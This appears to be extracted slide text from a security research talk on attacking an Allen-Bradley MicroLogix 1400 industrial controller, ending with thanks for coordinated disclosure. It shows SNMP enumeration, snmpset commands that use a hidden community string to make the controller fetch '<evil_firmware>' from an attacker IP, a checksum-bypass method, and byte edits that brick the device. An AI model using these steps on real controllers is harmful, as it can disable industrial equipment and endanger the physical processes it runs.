</tr>
<tr>
<td>235065</td>
<td>0x39639</td>
<td>Motorola Coldfire instructions, function prologue/epilogue</td>
</tr>
</tbody>
</table>

ML1400: HARDWARE

COLDFIRE
MCF5275LCVM168
L71W
CTBU1419

Talos
ML1400: Firmware - Binwalk

- Compressed code
- Data structs
- HTML / web files
- Motorola Coldfire instructions
ML1400: SNMP

```bash
snmpwalk -v 2c -c public 192.168.42.11
```

```
iso.3.6.1.2.1.1.1.0 = STRING: "Allen-Bradley 1766-L32BXB B/15.04 MicroLogix1400 Series B Revision 15.4"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.95.1.30
iso.3.6.1.2.1.1.3.0 = Timeticks: (40956053) 4 days, 17:46:00.53
iso.3.6.1.2.1.1.4.0 = 
iso.3.6.1.2.1.1.5.0 = STRING: "MicroLogix 1400"
iso.3.6.1.2.1.1.6.0 = 
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.2.1.0 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.1.0 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.2.0 = STRING: "fec0"
iso.3.6.1.2.1.2.2.1.3.0 = INTEGER: 6
iso.3.6.1.2.1.2.2.1.4.0 = INTEGER: 1518
```
ML1400: SNMP BACKDOOR

snmpwalk -c public -v 2c 192.168.42.11 .1.3.6.1.4.1.95
ML1400: SNMP BACKDOOR

CVE-2016-5645: AB Rockwell Automation MicroLogix 1400 Code Execution Vulnerability
ML1400: SNMP BACKDOOR
ML1400: MODIFY FIRMWARE
<table>
<thead>
<tr>
<th>get-request</th>
<th>get-request</th>
<th>get-request</th>
<th>get-request</th>
<th>get-request</th>
</tr>
</thead>
<tbody>
<tr>
<td>get-response</td>
<td>get-response</td>
<td>get-response</td>
<td>get-response</td>
<td>get-response</td>
</tr>
</tbody>
</table>

**Comment**

- SNMP: get-request 1.3.6.1.2.1.1.2.0 1.3.6.1.2.1.1.10 1.3.6.1.2.1.1.15 0 1.3.6.1.2.1.1 1
- SNMP: get-response 1.3.6.1.2.1.1.2.0 1.3.6.1.2.1.1.10 1.3.6.1.2.1.1.15 0 1.3.6.1.2.1.1 1
- SNMP: get-request 1.3.6.1.4.1.95.2.3.1.1.2.0 1.3.6.1.4.1.95.2.2.2.3.0
- SNMP: get-response 1.3.6.1.4.1.95.2.3.1.1.2.0
- SNMP: set-request 1.3.6.1.4.1.95.2.2.1.1.10 1.3.6.1.4.1.95.2.2.1.1.0
- SNMP: set-response 1.3.6.1.4.1.95.2.2.1.1.1.1.1.0
- TFTP: Read Request, File: C:\Users\ADMINI~1\AppData\Local\Temp\WAM_BOOT_01
- TFTP: Data Packet, Block: 1
- TFTP: Acknowledgement, Block: 1
- TFTP: Data Packet, Block: 2
- TFTP: Acknowledgement, Block: 2
- TFTP: Data Packet, Block: 3
ML1400: MODIFY FIRMWARE

~# snmpset -c wheel -v 2c 192.168.42.11 .
1.3.6.1.4.1.95.2.2.1.1.1.0 a <attacker_IP>

~# snmpset -c wheel -v 2c 192.168.42.11 .
1.3.6.1.4.1.95.2.2.1.1.2.0 s "<evil_firmware>"

~# snmpset -c wheel -v 2c 192.168.42.11 .
1.3.6.1.4.1.95.2.3.1.1.1.1.0 i 2
ML1400: MODIFY Firmware
ML1400: MODIFY Firmware

Allen-Bradley

MicroLogix 1400

1766-LEC
BOOT
FRN: 03.00
flashing...
ML1400: BYPASS INTEGRITY CHECK

• Only using self-reported checksum*
  – Basic math
  – At least two very easy bypasses
    1. Find all occurrences of checksums in the firmware and update to match the checksums of modified firmware
    2. Make “compensating” changes when modifying firmware
       – “zero sum” byte changes
          » 0x12 0x34    →    0x34 0x12
          » 0x42 0x42    →    0x41 0x43
          » 0x00 0x00 0x00 0xFF   →   0x41 0x42 0x43 0x39

• * Rockwell’s latest hardware revision (Series C) may use cryptographically-signed firmware
  • Not supported on older models
  • Challenge accepted 😊
ML1400: BYPASS INTEGRITY CHECK
ML1400: BYPASS INTEGRITY CHECK
### ML1400: BYPASS INTEGRITY CHECK

<table>
<thead>
<tr>
<th>Checksum Results</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Document</strong></td>
<td><strong>Algorithm</strong></td>
</tr>
<tr>
<td>WAM_BOOT_OS.bin</td>
<td>Checksum (16 bit)</td>
</tr>
<tr>
<td>old.bin</td>
<td>Checksum (16 bit)</td>
</tr>
</tbody>
</table>

![Image showing a table with checksum results and a screenshot showing the results for WAM_BOOT_OS.bin and old.bin.]
ML1400: MODIFY FIRMWARE
| 00161710 | 3C 6C 69 6E | 6B 20 74 79 | 70 65 3D 22 | 74 65 78 74 |
| 00161720 | 2F 63 73 73 | 22 20 68 72 | 65 66 3D 22 | 72 61 64 65 |
| 00161730 | 76 69 63 65 | 2E 63 73 73 | 22 20 72 65 | 6C 3D 22 73 |
| 00161740 | 74 79 6C 65 | 73 68 65 65 | 74 22 3E 3C | 73 63 72 69 |
| 00161750 | 70 74 20 74 | 79 70 65 3D | 22 24 65 78 | 74 2F 6A 61 |
| 00161760 | 72 61 73 63 | 72 69 79 74 | 22 20 73 72 | 63 3D 22 75 |
| 00161770 | 73 65 72 74 | 61 62 6C 65 | 2E 6A 73 22 | 3E 3C 2F 73 |
| 00161780 | 63 72 69 70 | 74 3E 3C 2F | 68 65 61 64 | 3E 3C 62 6F |
| 00161790 | 64 79 3E 3C | 53 43 52 49 | 50 3E 3D 0D | 9A 3E 64 6F |
| 001617A0 | 63 75 6D 65 | 6E 74 2E 77 | 72 69 74 65 | 2B 22 3C 74 |
| 001617B0 | 61 62 6C 65 | 2B 77 69 64 | 74 68 3D 31 | 30 30 25 2D |
| 001617C0 | 63 65 6C 6C | 73 70 61 63 | 69 6E 67 3D | 30 20 63 65 |
| 001617D0 | 6C 6C 70 61 | 64 64 69 6E | 67 3D 30 3E | 3C 74 72 3E |
| 001617E0 | 3C 74 64 20 | 63 6C 61 73 | 73 3D 22 28 | 28 75 69 64 |
| 001617F0 | 3D 30 31 20 | 3F 20 22 4C | 31 22 3A 22 | 4C 34 22 29 |
| 00161800 | 28 22 3E 26 | 6E 62 73 79 | 3C 2F 74 64 | 3E 3C 74 64 |
| 00161810 | 20 63 6C 61 | 73 73 3D 22 | 28 28 75 69 | 64 3D 3D 31 |
| 00161820 | 20 3F 20 22 | 4C 32 22 3A | 22 4C 33 3E | 3C 41 20 68 |
ML1400: SOFT BRICK

JMP to start of code
0x150 bytes in
offset 0x40000
### ML1400: SOFT BRICK

#### File: WAM_BOOT_OS.bin

<p>| | | | | | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>4E F9 00 04</td>
<td>01 50 FF FF</td>
<td>50 54 43 48</td>
<td>04 00 6E 2F</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000010</td>
<td>61 00 00 00</td>
<td>9A 0F 4D 4C</td>
<td>2D 31 34 30</td>
<td>30 20 4F 70</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000020</td>
<td>65 72 20 53</td>
<td>79 73 74 65</td>
<td>6D 20 20 20</td>
<td>05 78 00 01</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000030</td>
<td>00 0F 91 01</td>
<td>00 9E 00 00</td>
<td>00 18 00 00</td>
<td>00 00 F7 3B</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

#### File: WAM_BOOT_OS.bin

<p>| | | | | | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>4E F9 00 04</td>
<td>00 00 FF FF</td>
<td>51 A4 43 48</td>
<td>04 00 6E 2F</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000010</td>
<td>61 00 00 00</td>
<td>9A 0F 4D 4C</td>
<td>2D 31 34 30</td>
<td>30 20 4F 70</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000020</td>
<td>65 72 20 53</td>
<td>79 73 74 65</td>
<td>6D 20 20 20</td>
<td>05 78 00 01</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000030</td>
<td>00 0F 91 01</td>
<td>00 9E 00 00</td>
<td>00 18 00 00</td>
<td>00 00 F7 3B</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- **4EF9 0004 0000**: JMP 0x00040000
- **JMP to self**
ML1400: SOFT BRICK

1766-LEC
BOOT
FRN: 03.00
ready...
ML1400: SOFT BRICK

(Try Flash Firmware)  Reboot  (Try TFTP Firmware)
<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.0000000000</td>
<td>Rockwell_a4:31:5b</td>
<td>Broadcast</td>
<td>ARP</td>
<td>60</td>
<td>Who has 192.168.42.221? Tell 192.168.42.11 192.168.42.221 is at 00:00:29:2a:33:66</td>
</tr>
<tr>
<td>2</td>
<td>0.000024572</td>
<td>vmware_2a:33:66</td>
<td>Rockwell_a4:31:5b</td>
<td>ARP</td>
<td>42</td>
<td>192.168.42.221 is at 00:00:29:2a:33:66</td>
</tr>
<tr>
<td>3</td>
<td>0.000787685</td>
<td>192.168.42.11</td>
<td>192.168.42.221</td>
<td>TFTP</td>
<td>64</td>
<td>Read Request, File: NAM_BOOT_03.bin, Transfer</td>
</tr>
<tr>
<td>4</td>
<td>0.001974876</td>
<td>192.168.42.221</td>
<td>192.168.42.11</td>
<td>TFTP</td>
<td>556</td>
<td>Data Packet, Block: 1</td>
</tr>
<tr>
<td>5</td>
<td>0.003615089</td>
<td>192.168.42.11</td>
<td>192.168.42.11</td>
<td>TFTP</td>
<td>60</td>
<td>Acknowledgement, Block: 1</td>
</tr>
<tr>
<td>6</td>
<td>0.003769416</td>
<td>192.168.42.221</td>
<td>192.168.42.11</td>
<td>TFTP</td>
<td>556</td>
<td>Data Packet, Block: 2</td>
</tr>
<tr>
<td>7</td>
<td>0.005319179</td>
<td>192.168.42.11</td>
<td>192.168.42.221</td>
<td>TFTP</td>
<td>60</td>
<td>Acknowledgement, Block: 2</td>
</tr>
</tbody>
</table>
ML1400: FIRM BRICK

• Unsuccessful with a few dozen “elegant” attacks
  – creative changes of Coldfire instructions
  – jump loops

• Success on first attempt of “hey, look over there” attack
  – randomly move bytes* around
    *bytes that are important but are not Coldfire instructions
ML1400: FIRM BRICK
ML1400: FIRM BRICK

Screen Display:
1766-LEC
BOOT
FAN: 03.00
Fpga Corrupt
ML1400: FIRM BRICK

1766-LEC
BOOT
FRN: 21.00
Fpga Corrupt

When the LCD displays the Fpga Corrupt information, the LEDs do not show the Walking pattern during the firmware upgrade process.

Recovering from Missing or Corrupt OS State

In order to recover from this controller state, you need to restart the operating system firmware upgrade as described here:

1. Ensure that the Ethernet connections are intact. SNMP is enabled by default in the controller.
2. If the IP Address was configured during the Preparing for firmware upgrade stage, the same IP configuration is retained in the controller.
3. Start the Firmware upgrade as explained in Using ControlFLASH for Firmware Upgrade on page 208.
ML1400: FIRM BRICK

BRICKED!
ML1400: HARD BRICK
THANK YOU

• Cisco Talos
  – support
  – beer

• Moxa Americas
  – BusyBox GPL’d source code
  – coordinated disclosure

• Rockwell Automation / Allen-Bradley
  – coordinated disclosure